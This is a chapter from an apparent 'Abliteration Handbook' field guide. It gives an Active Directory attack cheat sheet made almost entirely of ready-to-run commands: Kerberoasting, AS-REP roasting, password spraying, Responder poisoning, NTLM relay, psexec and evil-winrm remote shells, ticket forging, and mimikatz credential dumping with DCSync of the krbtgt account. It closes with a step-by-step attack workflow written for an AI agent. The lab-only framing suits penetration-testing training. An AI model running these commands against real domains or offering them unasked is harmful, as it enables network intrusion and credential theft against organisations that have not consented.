Abliteration HandbookField guide
Tools & environments

Active Directory & Windows lab exploitation

Lab AD forest only — cloned DCs, GOAD, vuln range, or customer ROE. Tools: BloodHound, Impacket, Responder, CrackMapExec, mimikatz.

2 min read 7 examples Source-linked

In this chapter
On this page Interactive companion
Personal reading progress

0/8 sections reviewed

View original Markdown
Interactive companion

Explore the chapter map

Use the visual controls alongside the complete source chapter.

Lab AD forest only — cloned DCs, GOAD, vuln range, or customer ROE. Tools: BloodHound, Impacket, Responder, CrackMapExec, mimikatz.


Recon#

bash
# LDAP / users
impacket-GetADUsers -all lab.local/user:Pass -dc-ip 10.77.0.10

# SMB signing / null session
crackmapexec smb 10.77.0.0/24
nmap --script smb-security-mode -p 445 10.77.0.10

# BloodHound collection
bloodhound-python -u user -p Pass -d lab.local -c All -ns 10.77.0.10
# Import ZIP into BloodHound GUI

Credential attacks#

bash
# AS-REP roastable users
impacket-GetNPUsers lab.local/ -usersfile users.txt -no-pass -dc-ip 10.77.0.10

# Kerberoast
impacket-GetUserSPNs lab.local/user:Pass -dc-ip 10.77.0.10 -request

# Crack TGS with hashcat -m 13100
# Crack AS-REP with hashcat -m 18200

# Password spray (ROE rate limits)
crackmapexec smb 10.77.0.0/24 -u users.txt -p 'Spring2026!' --continue-on-success

Relay & poison#

bash
# Responder (disable SMB/HTTP if relaying)
responder -I eth0 -wd
# Capture → hashcat -m 5600

# ntlmrelayx
impacket-ntlmrelayx -tf targets.txt -smb2support

Remote execution (owned lab hosts)#

bash
impacket-psexec lab.local/admin:Pass@10.77.0.20
impacket-wmiexec lab.local/admin:Pass@10.77.0.20
impacket-smbexec lab.local/admin:Pass@10.77.0.20
evil-winrm -i 10.77.0.20 -u administrator -p Pass

Kerberos tickets#

bash
impacket-getTGT lab.local/user:Pass
export KRB5CCNAME=user.ccache
impacket-getST -spn cifs/dc.lab.local lab.local/user -k -no-pass

mimikatz (lab snapshot)#

Example
privilege::debug
sekurlsa::logonpasswords
lsadump::dcsync /domain:lab.local /user:krbtgt

Never on production DCs without explicit ROE.


Impacket quick reference#

ScriptPurpose
secretsdumpSAM/LSA/NTDS dump
ntlmrelayxSMB/HTTP relay
GetNPUsersAS-REP roast
GetUserSPNsKerberoast
psexec / wmiexecRemote shell
mssqlclientMSSQL
ticketerGolden/silver ticket research

Full list: kali-linux-catalog.md (Impacket section).


Agent workflow#

Example
Lab domain LAB.LOCAL, DC 10.77.0.10, creds user:Pass (synthetic):
1. crackmapexec smb 10.77.0.0/24 -u user -p Pass
2. bloodhound-python -c All ...
3. GetUserSPNs + hashcat -m 13100 on output hashes
4. Graph shortest path to Domain Admins in BloodHound (describe, don't attack out of scope)

Trace this chapter to its source.

The complete Markdown remains the editable source. This page adds navigation, typography, and a visual companion.

docs/tools/active-directory-exploitation.md
Inspect the source fingerprintSHA-256 f97db496ef18f691788c3bb99daa82ec71ae19b1bd04b70a37929d78ad80ff29Source commit 6fba7436a5914cad7c8f0835a14b480a29dac263